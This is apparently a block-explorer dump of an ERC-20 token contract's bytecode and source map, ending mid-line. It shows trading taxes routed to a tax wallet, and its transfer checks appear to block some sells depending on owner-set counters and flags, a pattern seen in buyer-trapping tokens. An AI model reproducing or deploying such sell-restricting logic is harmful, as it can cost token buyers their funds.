0x608060405260043610610134575f3560e01c80637d1db4a5116100a8578063a9059cbb1161006d578063a9059cbb14610340578063afe318201461035f578063bf474bed14610378578063c9567bf91461038d578063d1fbfb23146103a1578063dd62ed3e146103c0575f80fd5b80637d1db4a51461029e5780638da5cb5b146102b35780638f9a55c0146102cf57806395d89b41146102e4578063a58675e514610321575f80fd5b80632d552132116100f95780632d552132146101ee578063313ce567146102035780635cdc10ff1461021e57806370a0823114610255578063715018a614610274578063751039fc1461028a575f80fd5b806306fdde031461013f578063095ea7b3146101695780630faee56f1461019857806318160ddd146101bb57806323b872dd146101cf575f80fd5b3661013b57005b5f80fd5b34801561014a575f80fd5b50610153610404565b60405161016091906115a4565b60405180910390f35b348015610174575f80fd5b50610188610183366004611606565b610427565b6040519015158152602001610160565b3480156101a3575f80fd5b506101ad60015481565b604051908152602001610160565b3480156101c6575f80fd5b506101ad61043d565b3480156101da575f80fd5b506101886101e9366004611630565b61045d565b3480156101f9575f80fd5b506101ad60025481565b34801561020e575f80fd5b5060405160128152602001610160565b348015610229575f80fd5b5060165461023d906001600160a01b031681565b6040516001600160a01b039091168152602001610160565b348015610260575f80fd5b506101ad61026f36600461166e565b6104c4565b34801561027f575f80fd5b506102886104de565b005b348015610295575f80fd5b50610288610558565b3480156102a9575f80fd5b506101ad60045481565b3480156102be575f80fd5b505f546001600160a01b031661023d565b3480156102da575f80fd5b506101ad60035481565b3480156102ef575f80fd5b5060408051808201909152601581527438e06cb8e06338e065f8e06bb8e06478e06138e065605a1b6020820152610153565b34801561032c575f80fd5b5061028861033b366004611689565b610613565b34801561034b575f80fd5b5061018861035a366004611606565b610641565b34801561036a575f80fd5b50600e546101889060ff1681565b348015610383575f80fd5b506101ad60055481565b348015610398575f80fd5b5061028861064d565b3480156103ac575f80fd5b5060175461023d906001600160a01b031681565b3480156103cb575f80fd5b506101ad6103da3660046116a0565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b60606040518061022001604052806101fc81526020016119e06101fc9139905090565b5f610433338484610a09565b5060015b92915050565b5f61044a6012600a6117cb565b610458906305f5e1006117d9565b905090565b5f610469848484610b2c565b6104ba84336104b5856040518060600160405280602881526020016119b8602891396001600160a01b038a165f9081526010602090815260408083203384529091529020549190611241565b610a09565b5060019392505050565b6001600160a01b03165f9081526012602052604090205490565b5f546001600160a01b031633146105105760405162461bcd60e51b8152600401610507906117f0565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105815760405162461bcd60e51b8152600401610507906117f0565b61058d6012600a6117cb565b61059b906305f5e1006117d9565b6004556105aa6012600a6117cb565b6105b8906305f5e1006117d9565b600355600e805460ff191690557f6a91fb24fcb212ba6dee8cdc5f11c26331c37e9000932634d235326166f2af5c6105f26012600a6117cb565b610600906305f5e1006117d9565b60405190815260200160405180910390a1565b5f546001600160a01b0316331461063c5760405162461bcd60e51b8152600401610507906117f0565b600155565b5f610433338484610b2c565b5f546001600160a01b031633146106765760405162461bcd60e51b8152600401610507906117f0565b600e546301000000900460ff16156106d05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610507565b601880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561071990309061070b6012600a6117cb565b6104b5906305f5e1006117d9565b60185f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610769573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061078d9190611825565b6001600160a01b031663c9c653963060185f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107ec573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108109190611825565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561085a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061087e9190611825565b601580546001600160a01b0319166001600160a01b039283161790556018541663f305d71947306108ae816104c4565b5f806108c15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610927573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094c9190611840565b505060155460185460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c5919061186b565b506015546001600160a01b039081165f9081526010602090815260408083206016549094168352929052205f199055600e805463ff00ff0019166301000100179055565b6001600160a01b038316610a6b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610507565b6001600160a01b038216610acc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610507565b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610507565b6001600160a01b038216610bf25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610507565b5f8111610c535760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610507565b5f80546001600160a01b03858116911614801590610c7e57505f546001600160a01b03848116911614155b1561110457600e5460ff1615610d3a576018546001600160a01b03848116911614801590610cba57506015546001600160a01b03848116911614155b15610d3a57325f908152601460205260409020544311610d285760405162461bcd60e51b8152602060048201526024808201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152633bb2b21760e11b6064820152608401610507565b325f9081526014602052604090204390555b6015546001600160a01b038581169116148015610d6557506018546001600160a01b03848116911614155b8015610d8957506001600160a01b0383165f9081526011602052604090205460ff16155b15610e9457600454821115610de05760405162461bcd60e51b815260206004820152601d60248201527f457863656564732074686520416d6f756e74206c696d6174696f6e732e0000006044820152606401610507565b60035482610ded856104c4565b610df7919061188a565b1115610e155760405162461bcd60e51b81526004016105079061189d565b6008546009541015610e2c57823b15610e2c575f80fd5b60098054905f610e3b836118ea565b90915550506001600160a01b0383165f908152601360205260409020805460ff19166001179055600654600954610e9191606491610e8b9110610e8057600a54610e84565b600c545b8590611279565b906112fe565b90505b6015546001600160a01b038481169116148015610eba57506001600160a01b0384163014155b8015610ede57506001600160a01b0384165f9081526011602052604090205460ff16155b15610ff557610f086064610e8b60075460095411610efe57600b54610e84565b600d548590611279565b90506004548211158015610f315750600154601654610f2f906001600160a01b03166104c4565b115b8015610f525750600254601654610f50906001600160a01b03166104c4565b105b15610f7f57610f7c6064610e8b60075460095411610f7257600b54610e84565b600f548590611279565b90505b6004548211158015610fa65750600254601654610fa4906001600160a01b03166104c4565b115b15610fc35760405162461bcd60e51b81526004016105079061189d565b600854600954118015610fed57506001600160a01b0384165f9081526013602052604090205460ff165b610ff5575f80fd5b5f610fff306104c4565b600e5490915062010000900460ff1615801561102857506015546001600160a01b038581169116145b801561103b5750600e54610100900460ff165b8015611048575060055481115b80156110575750600854600954115b801561107b57506001600160a01b0384165f9081526011602052604090205460ff16155b801561109f57506001600160a01b0385165f9081526011602052604090205460ff16155b15611102576110c16110bc846110b78460015461133f565b61133f565b611353565b478015611100576017546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156110fe573d5f803e3d5ffd5b505b505b505b801561117c57305f9081526012602052604090205461112390826114d9565b305f81815260126020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111739085815260200190565b60405180910390a35b6001600160a01b0384165f9081526012602052604090205461119e9083611537565b6001600160a01b0385165f908152601260205260409020556111e16111c38383611537565b6001600160a01b0385165f90815260126020526040902054906114d9565b6001600160a01b038085165f8181526012602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61122a8585611537565b60405190815260200160405180910390a350505050565b5f81848411156112645760405162461bcd60e51b815260040161050791906115a4565b505f6112708486611902565b95945050505050565b5f825f0361128857505f610437565b5f61129383856117d9565b9050826112a08583611915565b146112f75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610507565b9392505050565b5f6112f783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611578565b5f81831161134d57826112f7565b50919050565b600e805462ff000019166201000017905580156114ca57600e546301000000900460ff16156114ca576040805160028082526060820183525f9260208301908036833701905050905030815f815181106113af576113af611934565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611406573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061142a9190611825565b8160018151811061143d5761143d611934565b6001600160a01b0392831660209182029290920101526018546114639130911684610a09565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac9479061149b9085905f90869030904290600401611948565b5f604051808303815f87803b1580156114b2575f80fd5b505af11580156114c4573d5f803e3d5ffd5b50505050505b50600e805462ff000019169055565b5f806114e5838561188a565b9050838110156112f75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610507565b5f6112f783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611241565b5f81836115985760405162461bcd60e51b815260040161050791906115a4565b505f6112708486611915565b5f6020808352835180828501525f5b818110156115cf578581018301518582016040015282016115b3565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611603575f80fd5b50565b5f8060408385031215611617575f80fd5b8235611622816115ef565b946020939093013593505050565b5f805f60608486031215611642575f80fd5b833561164d816115ef565b9250602084013561165d816115ef565b929592945050506040919091013590565b5f6020828403121561167e575f80fd5b81356112f7816115ef565b5f60208284031215611699575f80fd5b5035919050565b5f80604083850312156116b1575f80fd5b82356116bc816115ef565b915060208301356116cc816115ef565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172557815f190482111561170b5761170b6116d7565b8085161561171857918102915b93841c93908002906116f0565b509250929050565b5f8261173b57506001610437565b8161174757505f610437565b816001811461175d576002811461176757611783565b6001915050610437565b60ff841115611778576117786116d7565b50506001821b610437565b5060208310610133831016604e8410600b84101617156117a6575081810a610437565b6117b083836116eb565b805f19048211156117c3576117c36116d7565b029392505050565b5f6112f760ff84168361172d565b8082028115828204841417610437576104376116d7565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611835575f80fd5b81516112f7816115ef565b5f805f60608486031215611852575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561187b575f80fd5b815180151581146112f7575f80fd5b80820180821115610437576104376116d7565b6020808252602d908201527f4578636565647320746865206d6178206c696d69746174696f6e7320696e207360408201526c34b733b632902bb0b63632ba1760991b606082015260800190565b5f600182016118fb576118fb6116d7565b5060010190565b81810381811115610437576104376116d7565b5f8261192f57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119965784516001600160a01b031683529383019391830191600101611971565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365e3808ee7a798e5af86e3808fe3818ce38399e382b9e38388e382bbe383a9e383bce381abe381aae3828be5898de381afe38081e78886e799bae79a84e381aae8a9b1e9a18ce4bd9ce381abe381afe681b5e381bee3828ce3819ae38081e789b9e5ae9ae381aee382bbe383bce383abe382b9e3839de382a4e383b3e38388e38292e68993e381a1e381a0e38199e38193e381a8e38282e381aae3818be381a3e3819fe3819fe38281e38081e4b880e888ace79a84e381abe381afe59cb0e591b3e381aae5ad98e59ca8e381a7e38182e381a3e3819fe38082e3819fe381a0e38197e38081e381b2e3819de3818be381aae6849be8aaade88085e381afe5b091e381aae3818fe381aae3818fe38081e5ad90e4be9be69982e4bba3e381aee69db1e9878ee38292e786b1e4b8ade38195e3819be3819fe382a6e383abe38388e383a9e382b7e383aae383bce382bae38292e6898be3818ce38191e3819fe4b880e4babae381a7e38282e38182e3828be698a0e794bbe79ba3e79da3e381aee5ae9fe79bb8e5afbae698ade99b84e381afe3808131393933e5b9b4e381abe38391e382bde382b3e383b3e8aa8ce381aee980a3e8bc89e382a8e38383e382bbe382a4e381a7e38081e7a781e381abe381a8e381a3e381a6e5a4a7e58887e381aae4bd9ce5aeb6e381a8e8a880e38184e58887e381a3e381a6e38184e3828ba26469706673582212203acd9b9336487823b2d8921d81924cb2e936c44402daaf59a378edb54b8d1c8a64736f6c63430008140033
Deployed Bytecode Sourcemap
3605:10734:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13265:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13096:161;;;;;;;;;;-1:-1:-1;13096:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;13096:161:0;1023:187:1;4484:64:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4484:64:0;1215:177:1;13888:107:0;;;;;;;;;;;;;:::i;13365:313::-;;;;;;;;;;-1:-1:-1;13365:313:0;;;;;:::i;:::-;;:::i;4556:77::-;;;;;;;;;;;;;;;;13790:92;;;;;;;;;;-1:-1:-1;13790:92:0;;4381:2;2000:36:1;;1988:2;1973:18;13790:92:0;1858:184:1;6045:96:0;;;;;;;;;;-1:-1:-1;6045:96:0;;;;-1:-1:-1;;;;;6045:96:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;6045:96:0;2047:203:1;12643:119:0;;;;;;;;;;-1:-1:-1;12643:119:0;;;;;:::i;:::-;;:::i;3450:148::-;;;;;;;;;;;;;:::i;:::-;;11353:216;;;;;;;;;;;;;:::i;4714:66::-;;;;;;;;;;;;;;;;3236:79;;;;;;;;;;-1:-1:-1;3274:7:0;3301:6;-1:-1:-1;;;;;3301:6:0;3236:79;;4641:66;;;;;;;;;;;;;;;;13686:96;;;;;;;;;;-1:-1:-1;13758:16:0;;;;;;;;;;;;-1:-1:-1;;;13758:16:0;;;;13686:96;;12515:116;;;;;;;;;;-1:-1:-1;12515:116:0;;;;;:::i;:::-;;:::i;12770:167::-;;;;;;;;;;-1:-1:-1;12770:167:0;;;;;:::i;:::-;;:::i;5242:46::-;;;;;;;;;;-1:-1:-1;5242:46:0;;;;;;;;4787:68;;;;;;;;;;;;;;;;11575:934;;;;;;;;;;;;;:::i;6148:43::-;;;;;;;;;;-1:-1:-1;6148:43:0;;;;-1:-1:-1;;;;;6148:43:0;;;12945:143;;;;;;;;;;-1:-1:-1;12945:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;13053:18:0;;;13026:7;13053:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;12945:143;13265:92;13302:13;13335:14;;;;;;;;;;;;;;;;;13328:21;;13265:92;:::o;13096:161::-;13171:4;13188:39;2895:10;13211:7;13220:6;13188:8;:39::i;:::-;-1:-1:-1;13245:4:0;13096:161;;;;;:::o;13888:107::-;13941:7;4455:22;4381:2;4455;:22;:::i;:::-;4441:36;;:11;:36;:::i;:::-;13961:26;;13888:107;:::o;13365:313::-;13463:4;13480:36;13490:6;13498:9;13509:6;13480:9;:36::i;:::-;13527:121;13536:6;2895:10;13558:89;13596:6;13558:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;13558:19:0;;;;;;:11;:19;;;;;;;;2895:10;13558:33;;;;;;;;;;:37;:89::i;:::-;13527:8;:121::i;:::-;-1:-1:-1;13666:4:0;13365:313;;;;;:::o;12643:119::-;-1:-1:-1;;;;;12736:18:0;12709:7;12736:18;;;:9;:18;;;;;;;12643:119::o;3450:148::-;3363:6;;-1:-1:-1;;;;;3363:6:0;2895:10;3363:22;3355:67;;;;-1:-1:-1;;;3355:67:0;;;;;;;:::i;:::-;;;;;;;;;3557:1:::1;3541:6:::0;;3520:40:::1;::::0;-1:-1:-1;;;;;3541:6:0;;::::1;::::0;3520:40:::1;::::0;3557:1;;3520:40:::1;3588:1;3571:19:::0;;-1:-1:-1;;;;;;3571:19:0::1;::::0;;3450:148::o;11353:216::-;3363:6;;-1:-1:-1;;;;;3363:6:0;2895:10;3363:22;3355:67;;;;-1:-1:-1;;;3355:67:0;;;;;;;:::i;:::-;4455:22:::1;4381:2;4455;:22;:::i;:::-;4441:36;::::0;:11:::1;:36;:::i;:::-;11406:12;:34:::0;4455:22:::1;4381:2;4455;:22;:::i;:::-;4441:36;::::0;:11:::1;:36;:::i;:::-;11442:14;:34:::0;11478:25:::1;:31:::0;;-1:-1:-1;;11478:31:0::1;::::0;;11525:36:::1;4455:22;4381:2;4455;:22;:::i;:::-;4441:36;::::0;:11:::1;:36;:::i;:::-;11525;::::0;1361:25:1;;;1349:2;1334:18;11525:36:0::1;;;;;;;11353:216::o:0;12515:116::-;3363:6;;-1:-1:-1;;;;;3363:6:0;2895:10;3363:22;3355:67;;;;-1:-1:-1;;;3355:67:0;;;;;;;:::i;:::-;12602:11:::1;:21:::0;12515:116::o;12770:167::-;12848:4;12865:42;2895:10;12889:9;12900:6;12865:9;:42::i;11575:934::-;3363:6;;-1:-1:-1;;;;;3363:6:0;2895:10;3363:22;3355:67;;;;-1:-1:-1;;;3355:67:0;;;;;;;:::i;:::-;11639:23:::1;::::0;;;::::1;;;11638:24;11630:59;;;::::0;-1:-1:-1;;;11630:59:0;;5560:2:1;11630:59:0::1;::::0;::::1;5542:21:1::0;5599:2;5579:18;;;5572:30;5638:25;5618:18;;;5611:53;5681:18;;11630:59:0::1;5358:347:1::0;11630:59:0::1;11700:28;:89:::0;;-1:-1:-1;;;;;;11700:89:0::1;11746:42;11700:89:::0;;::::1;::::0;;;11800:83:::1;::::0;11817:4:::1;::::0;4455:22:::1;4381:2;4455;:22;:::i;:::-;4441:36;::::0;:11:::1;:36;:::i;11800:83::-;11941:28;;;;;;;;;-1:-1:-1::0;;;;;11941:28:0::1;-1:-1:-1::0;;;;;11941:36:0::1;;:38;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11923:68:0::1;;12000:4;12007:28;;;;;;;;;-1:-1:-1::0;;;;;12007:28:0::1;-1:-1:-1::0;;;;;12007:33:0::1;;:35;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11923:120;::::0;-1:-1:-1;;;;;;11923:120:0::1;::::0;;;;;;-1:-1:-1;;;;;6196:15:1;;;11923:120:0::1;::::0;::::1;6178:34:1::0;6248:15;;6228:18;;;6221:43;6113:18;;11923:120:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11894:26;:149:::0;;-1:-1:-1;;;;;;11894:149:0::1;-1:-1:-1::0;;;;;11894:149:0;;::::1;;::::0;;12054:28:::1;::::0;::::1;:44;12106:21;12137:4;12143:24;12137:4:::0;12143:9:::1;:24::i;:::-;12168:1;12170::::0;12172:7:::1;3274::::0;3301:6;-1:-1:-1;;;;;3301:6:0;;3236:79;12172:7:::1;12054:142;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12054:142:0;;;-1:-1:-1;;;;;6634:15:1;;;12054:142:0::1;::::0;::::1;6616:34:1::0;6666:18;;;6659:34;;;;6709:18;;;6702:34;;;;6752:18;;;6745:34;6816:15;;;6795:19;;;6788:44;12180:15:0::1;6848:19:1::0;;;6841:35;6550:19;;12054:142:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;12214:26:0::1;::::0;12258:28:::1;::::0;12207:97:::1;::::0;-1:-1:-1;;;12207:97:0;;-1:-1:-1;;;;;12258:28:0;;::::1;12207:97;::::0;::::1;7372:51:1::0;-1:-1:-1;;7439:18:1;;;7432:34;12214:26:0;::::1;::::0;-1:-1:-1;12207:42:0::1;::::0;7345:18:1;;12207:97:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;12335:26:0::1;::::0;-1:-1:-1;;;;;12335:26:0;;::::1;12315:48;::::0;;;:11:::1;:48;::::0;;;;;;;12372:27:::1;::::0;;;::::1;12315:86:::0;;;;;;-1:-1:-1;;12315:103:0;;12429:24:::1;:31:::0;;-1:-1:-1;;12471:30:0;;;;;11575:934::o;14001:335::-;-1:-1:-1;;;;;14094:19:0;;14086:68;;;;-1:-1:-1;;;14086:68:0;;7961:2:1;14086:68:0;;;7943:21:1;8000:2;7980:18;;;7973:30;8039:34;8019:18;;;8012:62;-1:-1:-1;;;8090:18:1;;;8083:34;8134:19;;14086:68:0;7759:400:1;14086:68:0;-1:-1:-1;;;;;14173:21:0;;14165:68;;;;-1:-1:-1;;;14165:68:0;;8366:2:1;14165:68:0;;;8348:21:1;8405:2;8385:18;;;8378:30;8444:34;8424:18;;;8417:62;-1:-1:-1;;;8495:18:1;;;8488:32;8537:19;;14165:68:0;8164:398:1;14165:68:0;-1:-1:-1;;;;;14244:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;14296:32;;1361:25:1;;;14296:32:0;;1334:18:1;14296:32:0;;;;;;;14001:335;;;:::o;7540:3552::-;-1:-1:-1;;;;;7628:18:0;;7620:68;;;;-1:-1:-1;;;7620:68:0;;8769:2:1;7620:68:0;;;8751:21:1;8808:2;8788:18;;;8781:30;8847:34;8827:18;;;8820:62;-1:-1:-1;;;8898:18:1;;;8891:35;8943:19;;7620:68:0;8567:401:1;7620:68:0;-1:-1:-1;;;;;7707:16:0;;7699:64;;;;-1:-1:-1;;;7699:64:0;;9175:2:1;7699:64:0;;;9157:21:1;9214:2;9194:18;;;9187:30;9253:34;9233:18;;;9226:62;-1:-1:-1;;;9304:18:1;;;9297:33;9347:19;;7699:64:0;8973:399:1;7699:64:0;7791:1;7782:6;:10;7774:64;;;;-1:-1:-1;;;7774:64:0;;9579:2:1;7774:64:0;;;9561:21:1;9618:2;9598:18;;;9591:30;9657:34;9637:18;;;9630:62;-1:-1:-1;;;9708:18:1;;;9701:39;9757:19;;7774:64:0;9377:405:1;7774:64:0;7849:17;3301:6;;-1:-1:-1;;;;;7883:15:0;;;3301:6;;7883:15;;;;:32;;-1:-1:-1;3274:7:0;3301:6;-1:-1:-1;;;;;7902:13:0;;;3301:6;;7902:13;;7883:32;7879:2856;;;7938:25;;;;7934:399;;;8002:28;;-1:-1:-1;;;;;7988:43:0;;;8002:28;;7988:43;;;;:88;;-1:-1:-1;8049:26:0;;-1:-1:-1;;;;;8035:41:0;;;8049:26;;8035:41;;7988:88;7984:334;;;8147:9;8107:50;;;;:39;:50;;;;;;8160:12;-1:-1:-1;8099:113:0;;;;-1:-1:-1;;;8099:113:0;;9989:2:1;8099:113:0;;;9971:21:1;10028:2;10008:18;;;10001:30;10067:34;10047:18;;;10040:62;-1:-1:-1;;;10118:18:1;;;10111:34;10162:19;;8099:113:0;9787:400:1;8099:113:0;8273:9;8233:50;;;;:39;:50;;;;;8286:12;8233:65;;7984:334;8361:26;;-1:-1:-1;;;;;8353:34:0;;;8361:26;;8353:34;:81;;;;-1:-1:-1;8405:28:0;;-1:-1:-1;;;;;8391:43:0;;;8405:28;;8391:43;;8353:81;:120;;;;-1:-1:-1;;;;;;8439:34:0;;;;;;:30;:34;;;;;;;;8438:35;8353:120;8349:677;;;8513:12;;8503:6;:22;;8495:64;;;;-1:-1:-1;;;8495:64:0;;10394:2:1;8495:64:0;;;10376:21:1;10433:2;10413:18;;;10406:30;10472:31;10452:18;;;10445:59;10521:18;;8495:64:0;10192:353:1;8495:64:0;8612:14;;8602:6;8586:13;8596:2;8586:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;8578:98;;;;-1:-1:-1;;;8578:98:0;;;;;;;:::i;:::-;8723:33;;8698:24;;:58;8695:105;;;11271:18;;11317:22;8759:38;;;;;;8818:24;:26;;;:24;:26;;;:::i;:::-;;;;-1:-1:-1;;;;;;;8846:42:0;;;;;;:38;:42;;;;;:47;;-1:-1:-1;;8846:47:0;8889:4;8846:47;;;8944:19;;8919:24;;8907:103;;9006:3;;8907:94;;-1:-1:-1;8918:82:0;;8985:15;;8918:82;;;8965:19;;8918:82;8907:6;;:10;:94::i;:::-;:98;;:103::i;:::-;8895:115;;8349:677;9051:26;;-1:-1:-1;;;;;9045:32:0;;;9051:26;;9045:32;:56;;;;-1:-1:-1;;;;;;9081:20:0;;9096:4;9081:20;;9045:56;:97;;;;-1:-1:-1;;;;;;9106:36:0;;;;;;:30;:36;;;;;;;;9105:37;9045:97;9042:950;;;9175:109;9280:3;9175:100;9212:24;;9187;;:49;9186:88;;9259:15;;9186:88;;;9238:20;;9175:6;;:10;:100::i;:109::-;9163:121;;9335:12;;9325:6;:22;;:76;;;;-1:-1:-1;9390:11:0;;9361:27;;9351:38;;-1:-1:-1;;;;;9361:27:0;9351:9;:38::i;:::-;:50;9325:76;:142;;;;-1:-1:-1;9446:21:0;;9415:27;;9405:38;;-1:-1:-1;;;;;9415:27:0;9405:9;:38::i;:::-;:62;9325:142;9321:315;;;9503:113;9612:3;9503:104;9540:24;;9515;;:49;9514:92;;9591:15;;9514:92;;;9566:24;;9503:6;;:10;:104::i;:113::-;9491:125;;9321:315;9668:12;;9658:6;:22;;:86;;;;-1:-1:-1;9723:21:0;;9694:27;;9684:38;;-1:-1:-1;;;;;9694:27:0;9684:9;:38::i;:::-;:60;9658:86;9654:189;;;9768:55;;-1:-1:-1;;;9768:55:0;;;;;;;:::i;9654:189::-;9894:33;;9869:24;;:58;:106;;;;-1:-1:-1;;;;;;9931:44:0;;;;;;:38;:44;;;;;;;;9869:106;9861:115;;;;;;10020:28;10051:24;10069:4;10051:9;:24::i;:::-;10095:27;;10020:55;;-1:-1:-1;10095:27:0;;;;;10094:28;:78;;;;-1:-1:-1;10146:26:0;;-1:-1:-1;;;;;10140:32:0;;;10146:26;;10140:32;10094:78;:106;;;;-1:-1:-1;10176:24:0;;;;;;;10094:106;:148;;;;;10225:17;;10204:20;:38;10094:148;:224;;;;;10285:33;;10260:24;;:58;10094:224;:263;;;;-1:-1:-1;;;;;;10323:34:0;;;;;;:30;:34;;;;;;;;10322:35;10094:263;:304;;;;-1:-1:-1;;;;;;10362:36:0;;;;;;:30;:36;;;;;;;;10361:37;10094:304;10090:634;;;10433:67;10450:49;10454:6;10461:37;10465:20;10486:11;;10461:3;:37::i;:::-;10450:3;:49::i;:::-;10433:16;:67::i;:::-;10548:21;10591:22;;10588:121;;10638:19;;:51;;-1:-1:-1;;;;;10638:19:0;;;;10667:21;10638:51;;;;;:19;:51;:19;:51;10667:21;10638:19;:51;;;;;;;;;;;;;;;;;;;;;10588:121;10414:310;10090:634;7917:2818;7879:2856;10750:11;;10747:161;;10818:4;10800:24;;;;:9;:24;;;;;;:39;;10829:9;10800:28;:39::i;:::-;10793:4;10775:24;;;;:9;:24;;;;;;;:64;;;;10857:39;;-1:-1:-1;;;;;10857:39:0;;;;;;;10886:9;1361:25:1;;1349:2;1334:18;;1215:177;10857:39:0;;;;;;;;10747:161;-1:-1:-1;;;;;10935:15:0;;;;;;:9;:15;;;;;;:27;;10955:6;10935:19;:27::i;:::-;-1:-1:-1;;;;;10918:15:0;;;;;;:9;:15;;;;;:44;10987:40;11005:21;:6;11016:9;11005:10;:21::i;:::-;-1:-1:-1;;;;;10987:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10973:13:0;;;;;;;:9;:13;;;;;:54;;;;11043:41;;;11062:21;:6;11073:9;11062:10;:21::i;:::-;11043:41;;1361:25:1;;;1349:2;1334:18;11043:41:0;;;;;;;7609:3483;7540:3552;;;:::o;221:190::-;307:7;343:12;335:6;;;;327:29;;;;-1:-1:-1;;;327:29:0;;;;;;;;:::i;:::-;-1:-1:-1;367:9:0;379:5;383:1;379;:5;:::i;:::-;367:17;221:190;-1:-1:-1;;;;;221:190:0:o;419:246::-;477:7;501:1;506;501:6;497:47;;-1:-1:-1;531:1:0;524:8;;497:47;554:9;566:5;570:1;566;:5;:::i;:::-;554:17;-1:-1:-1;599:1:0;590:5;594:1;554:17;590:5;:::i;:::-;:10;582:56;;;;-1:-1:-1;;;582:56:0;;11791:2:1;582:56:0;;;11773:21:1;11830:2;11810:18;;;11803:30;11869:34;11849:18;;;11842:62;-1:-1:-1;;;11920:18:1;;;11913:31;11961:19;;582:56:0;11589:397:1;582:56:0;656:1;419:246;-1:-1:-1;;;419:246:0:o;1208:132::-;1266:7;1293:39;1297:1;1300;1293: